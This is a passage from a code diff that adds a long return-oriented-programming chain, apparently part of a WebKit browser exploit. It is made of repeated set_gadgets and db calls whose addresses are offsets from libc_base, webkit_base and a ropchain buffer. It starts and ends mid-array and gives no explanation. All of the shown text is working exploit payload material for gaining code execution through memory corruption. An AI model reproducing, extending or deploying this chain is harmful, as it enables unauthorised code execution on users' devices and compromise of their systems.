+libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+375768, +ropchain+375784, +libc_base+489696, +ropchain+375800, +libc_base+489696, +ropchain+379936, +libc_base+713278, +ropchain+375856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+375944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+375960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+376104, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+376072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+376088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+376248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+376336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+376352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+376512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+376544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+376496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+376528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+376672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+376688, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+376656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+1537212, +libc_base+713278, +ropchain+376848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+376864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+376832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+376992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+377008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+376976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+377144, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+377232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+377248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+377408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+377440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+377392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+377424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+377536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+377520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+377632, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+377720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+377736, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+377880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+377848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+377864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+377984, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+378104, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+378184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+378240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+378336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+378424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+378440, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+378600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+378632, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+378584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+378616, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+378792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+378744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+378760, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+378872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+378888, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+378976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+379032, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+379104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+379160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+379264, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+379352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+379368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+379528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+379560, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+379512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+379544, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+379656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+379640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+379744, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+379816, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+379880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+374488, +libc_base+388400, +libc_base+713278, +ropchain+380000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967040, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+380072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967020, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+380192, +webkit_base+4687784, +libc_base+772328 +]); +db([256, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+380248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+388400, +libc_base+713278, +ropchain+380312, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+380424, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+380408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+380520, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967020, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+380608, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+380624, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+380784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+380816, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+380768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+380800, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+380896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+380912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+381040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+381056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+381024, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+381232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+381248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+381216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+381376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+381408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+381392, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+381520, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+381512, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+381536, +ropchain+386912, +libc_base+740138, +libc_base+713278 +]); +db([4294967020, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+381656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+381672, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+381832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+381864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+381816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+381848, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+381944, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+381960, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+382056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+382040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+382152, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+382240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+382256, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+382400, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+382368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+382384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+382496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+382584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+382600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+382760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+382792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+382744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+382776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+382888, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+382872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+382992, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+388024, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+383080, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+383208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+383224, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+383384, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+383416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+383368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+383400, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+383496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+383512, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+383608, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+383592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+383704, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+383848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+383864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+383832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+384040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+384056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+384024, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+384184, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+384216, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+384200, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+384328, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+384320, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+384344, +ropchain+384360, +libc_base+489696, +ropchain+386944, +libc_base+713278, +ropchain+384416, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+384504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+384520, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+384664, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+384632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+384648, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+384736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+384792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+384888, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+384976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+384992, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+385152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+385184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+385136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+385168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+385312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+385328, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+385296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+385416, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+385472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+385560, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967020, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+385688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+385704, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+385864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+385896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+385848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+385880, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+385992, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+385976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+386088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+386176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+386192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+386352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+386384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+386336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+386368, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+386512, +webkit_base+4687784, 